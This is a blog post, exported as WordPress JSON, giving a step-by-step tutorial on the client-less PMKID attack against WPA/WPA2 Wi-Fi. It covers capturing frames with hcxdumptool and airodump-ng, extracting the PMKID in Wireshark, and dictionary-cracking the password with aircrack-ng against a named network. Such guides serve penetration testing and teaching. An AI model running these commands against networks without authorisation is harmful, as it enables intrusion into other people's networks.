{"id":2122,"date":"2018-10-02T16:31:33","date_gmt":"2018-10-02T16:31:33","guid":{"rendered":"https:\/\/miloserdov.org\/?p=2122"},"modified":"2018-10-25T05:19:25","modified_gmt":"2018-10-25T05:19:25","slug":"hacking-wi-fi-without-users-in-aircrack-ng","status":"publish","type":"post","link":"https:\/\/miloserdov.org\/?p=2122","title":{"rendered":"Hacking Wi-Fi without users in Aircrack-ng"},"content":{"rendered":"<div class=\"0b20205ac99e89c6cabdb919fd9d1a8a\" data-index=\"1\" style=\"float: none; margin:10px 0 10px 0; text-align:center;\">\n<script async src=\"\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block; text-align:center;\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-layout=\"in-article\"\r\n     data-ad-client=\"ca-pub-7219829351026140\"\r\n     data-ad-slot=\"9942251718\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\r\n\r\n\n<\/div>\n<p style=\"text-align: justify;\">\n\tAbout hacking Wi-Fi, which has no connected Stations, is told in the previous article &lsquo;<a href=\"https:\/\/miloserdov.org\/?p=2100\" target=\"_blank\">Hacking Wi-Fi without users<\/a>&rsquo;. There you will find technical details about why this attack is possible. If say very briefly, some Access Points, when associated with them, send a PMKID, which, instead of a full handshake, can be used to crack the password. That is, we get the necessary data for hacking the password without capturing the usual four-ways handshake, therefore, this attack is possible against Access Points even without the connected Clients.\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn the article referred to, we used the following programs:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.kali.tools\/?p=841\" target=\"_blank\">hcxdumptool<\/a> v4.2.0 or later &ndash; for capturing wireless frames\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.kali.tools\/?p=847\" target=\"_blank\">hcxtools<\/a> v4.2.0 or later &ndash; to extract the data required for brute-force\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<a href=\"https:\/\/en.kali.tools\/?p=155\" target=\"_blank\">hashcat<\/a> v4.2.0 or newer &ndash; for brute-force password\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tThe first two (<strong>hcxdumptool<\/strong> and <strong>hcxtools<\/strong>) are installed without problems in Linux, but with <strong>hashcat<\/strong> there may be difficulties because it requires proprietary drivers, which is a problem for some Linux distributions (as well as for all virtual computers).\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tAttack on WPA\/WPA2 using PMKID in Aircrack-ng<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tIn the new <a href=\"https:\/\/en.kali.tools\/?p=57\" target=\"_blank\">Aircrack-ng<\/a> 1.4 release (from September 29, 2018) PMKID cracking was added. Although <a href=\"https:\/\/en.kali.tools\/?p=367\" target=\"_blank\">Airodump-ng<\/a> does not have any special features to capture PMKID. But, in theory, this should not be a serious problem, because PMKID is contained in the Message 1 of handshakes, so I hope we can capture PMKID in Airodump-ng.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tHacking Wi-Fi using PMKID in Aircrack-ng<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tLet&#39;s start with capturing frames using hcxdumptool. More details in <a href=\"https:\/\/miloserdov.org\/?p=2100\" target=\"_blank\">this article<\/a>, here only summary of commands.\n<\/p>\n<p style=\"text-align: justify;\">\n\tLet&rsquo;s find out wireless interface name and check whether program which can interfere in our activity is running:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo hcxdumptool -I<\/pre>\n<p style=\"text-align: justify;\">\n\tWith the <strong>kill<\/strong> command, we terminate processes that might interfere.\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo kill XXXX XXXX<\/pre>\n<p style=\"text-align: justify;\">\n\tWe set the interface into monitor mode:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo ip link set &lt;interface&gt; down\r\nsudo iw dev &lt;interface&gt; set monitor control\r\nsudo ip link set &lt;interface&gt; up<\/pre>\n<p style=\"text-align: justify;\">\n\tI use the Wi-Fi interface <strong>wlp0s20f0u1<\/strong>, and save the data in the file <strong>test.pcapng<\/strong>:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo hcxdumptool -o test.pcapng -i wlp0s20f0u1 --enable_status 15<\/pre>\n<p style=\"text-align: justify;\">\n\tI got the <strong>test.pcapng<\/strong> file, this file is in the <strong>pcapng<\/strong> format and <a href=\"https:\/\/en.kali.tools\/?p=60\" target=\"_blank\">aircrack-ng<\/a> does not understand this format, so we convert it to <strong>pcap<\/strong>:\n<\/p>\n<pre class=\"brush:bash;\">\r\ntcpdump -r test.pcapng -w test.pcap<\/pre>\n<p style=\"text-align: justify;\">\n\tA new <strong>test.pcap<\/strong> file will be created, so let&rsquo;s analyze it using aircrack-ng:\n<\/p>\n<pre class=\"brush:bash;\">\r\naircrack-ng test.pcap<\/pre>\n<p style=\"text-align: justify;\">\n\tSince this file, captured in &ldquo;noisy&rdquo; circumstances, then there are many different frames and fragments of handshakes, we are interested in networks, opposite which there is the &ldquo;<strong>WPA (0 handshake, with PMKID)<\/strong>&rdquo; string:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/01.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2132\" height=\"1006\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/01.png\" width=\"827\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/01.png 827w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/01-768x934.png 768w\" sizes=\"(max-width: 827px) 100vw, 827px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo crack using aircrack-ng, we use a command like this:\n<\/p>\n<pre class=\"brush:bash;\">\r\naircrack-ng -w pat_to_dictionary capture_file.pcap<\/pre>\n<p style=\"text-align: justify;\">\n\tIn my case:\n<\/p>\n<pre class=\"brush:bash;\">\r\naircrack-ng -w test.dic test.pcap<\/pre>\n<p style=\"text-align: justify;\">\n\tHere:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>-w test.dic<\/strong> is a dictionary for brute-force\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>test.pcap<\/strong> is a capture file with frames\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tI will brute-force the password of Paangoon_2G Wi-Fi network, I specify its number:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/02.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2131\" height=\"1054\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/02.png\" width=\"1023\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/02.png 1023w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/02-1000x1030.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/02-768x791.png 768w\" sizes=\"(max-width: 1023px) 100vw, 1023px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tI have a tiny test dictionary, so I immediately cracked the Wi-Fi password, as indicated by the inscription &ldquo;<strong>KEY FOUND!<\/strong>&rdquo;:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/11.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2134\" height=\"502\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/11.png\" width=\"827\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/11.png 827w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/11-768x466.png 768w\" sizes=\"(max-width: 827px) 100vw, 827px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tDetails about hacking passwords in Aircrack-ng, as well as how to launch mask attack, dictionary attack and paired with different password generators, read in the article &lsquo;<a href=\"https:\/\/miloserdov.org\/?p=2178\" target=\"_blank\">Hacking WPA\/WPA2 passwords with Aircrack-ng: dictionary attack, cooperation with Hashcat, maskprocessor, statsprocessor, John the Ripper, Crunch, hacking in Windows<\/a>&rsquo;.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tCapturing PMKID in Airodump-ng<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tNow, try to capture PMKID using <a href=\"https:\/\/en.kali.tools\/?p=367\" target=\"_blank\">Airodump-ng<\/a>. I will remind you that PMKID is contained in the first message of handshakes, this message the Access Point sends in response to association with it.\n<\/p>\n<p style=\"text-align: justify;\">\n\tWe need to find out which channel the target AP operates on, and also its BSSID (MAC address). To collect information about wireless APs and Stations we run airodump-ng:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo airodump-ng wlp0s20f0u1<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/04.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2129\" height=\"646\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/04.png\" width=\"938\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/04.png 938w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/04-768x529.png 768w\" sizes=\"(max-width: 938px) 100vw, 938px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tI&rsquo;m interested in the <strong>Paangoon_2G<\/strong> wireless network, it works on channel <strong>9<\/strong> and its MAC address is <strong>40:3D:EC:C2:72:B8<\/strong>.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAgain we run airodump-ng, with the option <strong>&#8211;channel<\/strong> we specify the desired channel, and with the <strong>-w<\/strong> option we specify the file for recording the captured radio frames:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo airodump-ng wlp0s20f0u1 --channel 9 -w cap2<\/pre>\n<p style=\"text-align: justify;\">\n\tNow I need to associate with the access point. For this I tried to use <a href=\"http:\/\/en.kali.tools\/?p=79\" target=\"_blank\">aireplay-ng<\/a>, but this program supports association only for WEP and does not work with WPA (error Denied (code 12), wrong ESSID or WPA).\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/05.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2128\" height=\"487\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/05.png\" width=\"610\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe association occurs naturally when you try to connect to this access point, that is, from another wireless card, you can start connecting to the access point and in this case you can really grab PMKID, though with a handshake. This is indicated by the &ldquo;<strong>WPA (1 handshake, with PMKID)<\/strong>&rdquo; string.\n<\/p>\n<p style=\"text-align: justify;\">\n\tYou can connect, for example, via Network Manager or using another computer or cell phone, you can specify any password. To connect from the command line, create a configuration file (replace the data with your own):\n<\/p>\n<pre class=\"brush:bash;\">\r\nwpa_passphrase &quot;Paangoon_2G&quot; 22222222 &gt; Paangoon_2G.conf<\/pre>\n<p style=\"text-align: justify;\">\n\tWhere:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>&quot;Paangoon_2G&quot;<\/strong> is the name of the network of interest to me\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>22222222<\/strong> is any password (at least 8 characters)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>Paangoon_2G.conf <\/strong>is the name of the configuration file.\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tTo connect to the AP execute:\n<\/p>\n<pre class=\"brush:bash;\">\r\nsudo wpa_supplicant -i wlo1 -c Paangoon_2G.conf -d<\/pre>\n<p style=\"text-align: justify;\">\n\tHere:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t<strong>-i wlo1<\/strong> is the name of the wireless interface used to connect\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-c Paangoon_2G.conf<\/strong> is the configuration file to use\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t<strong>-d<\/strong> is the option to show debug messages\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tAnalysis of the received file:\n<\/p>\n<pre class=\"brush:bash;\">\r\naircrack-ng cap2-01.cap<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/07.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2136\" height=\"289\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/07.png\" width=\"862\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/07.png 862w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/07-768x257.png 768w\" sizes=\"(max-width: 862px) 100vw, 862px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo extract the PMKID (so that the cracker would not use the handshake with a knowingly incorrect password), open this file in Wireshark:\n<\/p>\n<pre class=\"brush:bash;\">\r\nwireshark-gtk cap2-01.cap<\/pre>\n<p style=\"text-align: justify;\">\n\tTo separate only the required data, use the following filter (replace 40:3D:EC:C2:72:B8 with the access point of interest to you):\n<\/p>\n<pre class=\"brush:plain;\">\r\n(wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || (eapol &amp;&amp; wlan.rsn.ie.pmkid)) &amp;&amp; wlan.addr==40:3D:EC:C2:72:B8<\/pre>\n<p style=\"text-align: justify;\">\n\tLook at the Message 1 of a handshake and make sure that there really is PMKID:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/12.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2126\" height=\"1055\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/12.png\" width=\"1233\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/12.png 1233w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/12-1000x856.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/12-768x657.png 768w\" sizes=\"(max-width: 1233px) 100vw, 1233px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tNow use <strong>CTRL+m<\/strong> to select the desired packages (<strong>Beacon<\/strong> and <strong>Message 1<\/strong>):\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/09.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2127\" height=\"561\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/09.png\" width=\"1240\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/09.png 1240w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/09-1000x452.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/09-768x347.png 768w\" sizes=\"(max-width: 1240px) 100vw, 1240px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tAnd on the <strong>File<\/strong> menu, click <strong>Export Specified Packets<\/strong>. Enter the file name and put the switch on <strong>Marked packets only<\/strong>. If you do not understand how to save individual frames, see the article &lsquo;<a href=\"https:\/\/miloserdov.org\/?p=1047\" target=\"_blank\">How to extract all handshakes from a capture file with several handshakes<\/a>&rsquo;, there are additional screenshots.\n<\/p>\n<p style=\"text-align: justify;\">\n\tI saved these two frames in the <strong>extracted.pcap<\/strong> file, I check the file:\n<\/p>\n<pre class=\"brush:bash;\">\r\naircrack-ng extracted.pcap<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/10.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2135\" height=\"504\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/10.png\" width=\"829\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/10.png 829w, https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/10-768x467.png 768w\" sizes=\"(max-width: 829px) 100vw, 829px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tExcellent: the quantity of handshakes is 0, but there is PMKID, this is already indicated by the familiar string &ldquo;<strong>WPA (0 handshake, with PMKID)<\/strong>&rdquo;.\n<\/p>\n<p style=\"text-align: justify;\">\n\tI can re-run a test hack:\n<\/p>\n<pre class=\"brush:bash;\">\r\naircrack-ng -w test.dic extracted.pcap<\/pre>\n<p style=\"text-align: justify;\">\n\tAgain the password was successfully cracked:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/03.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-2130\" height=\"381\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2018\/10\/03.png\" width=\"737\" \/><\/a>\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tConclusion<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tThis article shows the principle possibility of <a href=\"https:\/\/en.kali.tools\/?p=60\" target=\"_blank\">aircrack-ng<\/a> to crack Wi-Fi password from PMKID, as well as the ability of <a href=\"https:\/\/en.kali.tools\/?p=367\" target=\"_blank\">airodump-ng<\/a> to capture PMKID. That is, if necessary, you can perform &lsquo;client-less attack&rsquo; without <a href=\"https:\/\/en.kali.tools\/?p=155\" target=\"_blank\">hashcat<\/a>.\n<\/p>\n<p style=\"text-align: justify;\">\n\tPerhaps the shown methods are not optimal, especially at the stage of PMKID capture using airodump-ng, when we need to manually connect to the Access Point from another Wi-Fi card, but so far I have not thought of anything better. If you know of another, easier way to provoke a request for an association, write it here in the comment section.<\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>About hacking Wi-Fi, which has no connected Stations, is told in the previous article &lsquo;Hacking Wi-Fi without users&rsquo;. There you will find technical details about why this attack is possible. If say very briefly, some Access Points, when associated with them, send a PMKID, which, instead of a full handshake,<a href=\"https:\/\/miloserdov.org\/?p=2122\" class=\"read-more\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":2134,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[88,71,65,195,97,17,64,192,5,4],"class_list":["post-2122","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-wireless-attacks","tag-aircrack-ng","tag-airodump-ng","tag-brute-force","tag-clientless-attack","tag-hacking","tag-handshake","tag-passwords","tag-pmkid","tag-wireless","tag-wpa-wpa2"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/2122"}],"collection":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2122"}],"version-history":[{"count":8,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/2122\/revisions"}],"predecessor-version":[{"id":2190,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/2122\/revisions\/2190"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/media\/2134"}],"wp:attachment":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}